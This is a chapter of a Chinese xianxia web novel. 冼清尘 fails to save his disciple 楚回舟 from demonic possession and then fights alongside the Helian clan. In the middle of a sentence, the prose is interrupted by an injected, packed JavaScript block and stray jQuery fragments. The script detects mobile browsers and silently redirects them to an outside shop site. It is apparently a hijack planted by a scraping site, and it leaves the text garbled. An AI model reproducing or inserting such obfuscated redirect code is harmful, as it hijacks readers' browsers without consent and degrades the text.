杀伐、战争,太平了千年的人界开始骚乱。
冼清尘没把这件事告诉楚回舟,但楚回舟兴许是能知道的。
他对冼清尘说:“师父,我怕我醒来就不再是我了。”
他体内的魔影不断与他的理智纠缠,要他呕心沥血,在最虚弱的时候,将属于楚回舟的灵魂赶出这具身体。
冼清尘恍然大悟,难怪那日槐树魔对他说那些话。
魔域的主人不是任何人,而是一种意志,毁灭的意志,世间一切恶与恨的意志。新主只是一具适宜的容器,适宜它降临人界的容器。
楚回舟难以抵挡这种恐惧,冼清尘就吻他,让他用身体感受自己,感受到他存在的证据。
生命由此才在暗无天日中有了一抹缤纷的亮色,彼此的欲望震耳欲聋,要牢牢地抓住,才能暂时忘记一切,抹去苦痛。
夜里,冼清尘实在难眠。
他和衣在就近的雪丘上站了一会儿,天边的碎星沉寂,夜风里传来难言的血腥气味,在从来干净的雪风里不比寻常。
有一束风勾连他的衣带,飘去下坡处。
他飞落下去捡,弯腰的余光中,银白色的雪地上落下一道黑影。
冼清尘心中一沉,耳际也仿佛咚一下沉入水里,只剩下些沉闷的呼啸。他缓缓抬起目光,依稀一个少女的脸,双眼的位置是两个血窟窿,正泱泱流淌血泪。
是阿辛的脸。
她的胸前刺出长剑,血花都仿佛溅在了他的脸上,还是温热的。
冼清尘心神不宁,不小心跌在雪地上,往自己脸上摸,什么也没有摸到。
阿辛只是一个幻影而已。
他扭头往回走,登至刚才的雪丘上方,不远处朦朦胧胧又走来一个人影。
冼清尘以为是楚回舟,拔步快走几步,可人影走近,才发现是死去的阿芜,阿芜面对他倒下,后背插满断裂的羽箭。
冼清尘知道这是魔影带来的幻相了。
它要将为他而死的人一个一个带过来,让他重新想起仇恨的烈火。
冼清尘咬破下唇,刺痛感让他霎时清醒。
他要赶紧回去,楚回舟还在等着他。
过去之事已经不可挽回,他已经知道真正的救赎是什么样子的,绝不是仇恨。
风雪突起,他走了小片刻,才意识到自己在原地打转,鬼打墙一般。冼清尘赶紧调转灵力,灵光护体,照亮了周围,这才发现,原来他一直停留在下坡处。
一种诡谲的不妙感自他心头油然而生,冼清尘快步赶回寒渊旁他与楚回舟居住的雪洞。
洞中明火亮彻,楚回舟背对他坐在毯上,似是在修炼。
冼清尘刚要松一口气,想开口对他说刚才的遭遇。
楚回舟已侧转过身,手中赫然一柄布满符文的匕首。
“师父……为何要贴身带着它呢?”
冼清尘陡然紧张起来,他忘了拿!
“楚回舟,这匕首是……”
“我知道。”楚回舟怆然一笑,他的理智摇摇欲坠在溃散的边缘,属于魔的殷红在眼瞳中弥漫,“一旦我失败,你就得毫不犹豫地用它刺向我,对不对!”
冼清尘思绪当场停滞,他浑身颤抖,不知道该说什么安抚他,因为他说的是事实。
在他不在的时候,魔影一定又一次摧残了楚回舟的理智。
所以它要制造幻象拖住他!
楚回舟嗬嗬直笑,匕首在他手心里开始发出微弱的光,上头的伏魔咒字字显现清晰,在他掌中割出一道伤口。
冼清尘顾不得其他了,他扑过去抢夺匕首。
楚回舟不松手,借机翻身把他压住,掐住他的脖子,恶狠狠道:“师父,你承诺的毒酒呢?我找过了,你根本就没有带毒酒!用它杀了我以后你会自杀吗?你不会的——我这么痛苦……我这么努力了……”
冼清尘挣扎中招来无极扇,可他视线里又见楚回舟五官里流出来的鲜血,无论怎么都下不去手了。
“哎……”他喉间溢出长长的无奈的轻叹。
终究还是失败了。
身下人忽然不挣扎了,眼角次第落下清泪。楚回舟动作一滞,唇畔颤抖。
他似是对他没了兴趣,放开了手站起来。
什么也不必再说,什么也不必再做。
楚回舟将匕首藏进袖中,洞外不知何时天光已彻底变成猩红,红光炽盛,千年不化的积雪都仿佛要融化在这红光里。
魔域特有的古怪香气萦绕过来,楚回舟步伐沉稳,只在出洞口时顿了一瞬。他没有回头再看一眼,踏风离去。
远远的,冼清尘听到钟声,那是听云宗的钟声,把他从空洞的绝望感中唤醒。
他不能停留在这里。
罡风袭来,化作利刃,赫连仪两眼一花,就见刚才还在他面前张牙舞爪的魔物化作碎片。
看清来人是谁,他浑身发麻,冲上去抓住冼清尘肩膀。
“楚回舟呢!你怎么来中州了!”
冼清尘难看地对他笑了笑:“失败了。”
赫连仪双眼通红起来,他猛地吸了吸鼻子,旋身投入下一场厮杀。
与他并肩的还有许多赫连山庄弟子,冼清尘听见长箭穿云呼啸,两只金灿灿的箭矢利落刺中一连数只魔物,血气涌动中,搭箭的女子远远立在后方高树上,看不清楚面容。
当就是赫连仪的姐姐。
魔物中并无魔力高强的,只是数量繁多,魔域打的是消耗战。
等到最后一只魔物被清剿,弟子们都疲惫不堪,握着剑背着弓矢互相搀扶,连一句话都说不出了。整个战场一片寂静,只有走动的寂寂声响。
冼清尘坐在尸骸堆边擦扇子,一遍又一遍,直到有人唤他:“冼清尘冼前辈对吧?”
是那个射出金灿箭矢的女子。
她抹去脸上迸溅的血迹,身姿挺拔,道:“前辈请随我来。”
她叫赫连芷,是赫连仪的二姐,就是那个追求楚回舟未果的、能力拉三十旦弓箭的二姐姐。
冼清尘一路跟随她进了附近城郭,到赫连氏临时住的帐篷。
帐篷里不再如往日一般充满赫连氏镶金带银的富贵风格,一边堆满了箭矢,一边凌乱地摆着几个蒲团。
赫连仪正缩在角落里给自己的弓矢绑布条,原先的已经被染成黑红颜色,丢在残余的炭火上。
“此处简陋,还请前辈不要嫌弃。”赫连芷得体地为他拿来一个新的蒲团。
冼清尘道:“不必……”
“前辈不用客气,”赫连芷放下背上弓箭,“我等都已经知晓前辈过去事出有因,前辈舍小为大,奔赴魔域还只身前去北境,早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967859|139948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
体现了前辈您英勇无畏的牺牲精神,我赫连子弟都该向前辈看齐……”
“……”冼清尘对这般真诚的恭维语塞了。
角落里赫连仪发出一声竭力忍耐的抽泣。
赫连芷上前在他头上扣下一个暴栗:“冼前辈是救你出魔域的恩人,你怎么这么没礼貌!”
赫连仪捂住脑袋发出更大的抽泣声。
“楚回舟死了!他成魔了!”
那只布上血痂的手本试图再给他一记,听到这句,她愣了愣,而后垂首,手最终落在他肩上拍了拍。
“既然如此,他就是我们的敌人了。阿仪,故人已去,你得学着放心中缅怀……”
“不!”赫连仪站起来,甩开她的手,“楚回舟是我兄弟!他永远是我兄弟!你不是喜欢他吗!你怎么这么冷酷,连眼泪都不掉!你们都救不了,那我去救他——”
“赫连仪!”赫连芷一巴掌甩上去,前者一个趔趄扑倒了灰炭盆架,灰扑扑地弄了一脸。
赫连芷深吸一口气,喝道:“赫连仪,你听清楚。身为赫连氏,你最应该救的是中州的百姓!你的私情,我的私情,都是微不足道的东西,若是私情阻挡了大义,你用脚趾头想想都能知道怎么做!还有脸与我在这哭!我是欣赏楚回舟,可他堕入魔道,从此就不再是我认识的楚回舟了!”
她中气十足,吼得赫连仪呆坐在地上,傻傻地瞪着她做不出反应。
赫连芷一指帐外:“现在你去给我洗干净!换身衣裳再进来!”
赫连仪落荒而逃。
帐内重归宁静,只剩下赫连芷余怒未消的呼吸声。
冼清尘坐立不安,垂眸看着那团灰烬,灰烬下露出血布巾一角,或许是赫连仪偷偷藏的。
“抱歉……前辈见笑了。”
冼清尘赶紧摇头:“不,其实,我知道他是在责怪我……他责怪我没救下楚回舟……”
不仅如此,他好像也是冷酷的,他流不出眼泪了。
赫连仪说的那些话,每一句都是刺,往他心里最空洞的那处扎。
赫连芷道:“前辈尽力了,这就是楚回舟的命,是他的劫数。”
昔日天之骄子,天道宠儿,无二仙尊。
也正是因为他的天赋与气运,才让魔域盯上他,福兮祸之所倚,他躲不开。
冼清尘并未再说什么,赫连芷燃起炭火,他便拎着蒲团在旁边坐下,目光空空地盯着跳跃的火焰发呆。
不知怎的就到了后半夜,外面开始落雪,赫连仪冻的僵了,终于忍不住挤进来。
大家都睡着了,唯有冼清尘挨在炭火边上,眼睛还睁着,不知在想什么东西。
赫连仪知道不该怪他,可是,可是他曾经将冼清尘当作最后的救命稻草,他没法不怪他。他没有靠近,仅仅靠着门口坐下,不时看一眼冼清尘。
蓦然一瞥,他竟看见冼清尘唇缝中溢出鲜红,但他只是淡淡地抬手擦去了,眼神都不曾动一下,好似失了魂。
赫连仪开始懊恼,原来有些痛苦不能宣之于口,也无法像他一样任性哭喊。
他不敢惊动他,只能兀自流泪。
不仅是因为楚回舟,更是因为楚回舟彻底入魔,意味着人界希望更微茫了。
翌日天转晴,魔域没有进攻的迹象,冼清尘却一声不吭地离开了中州。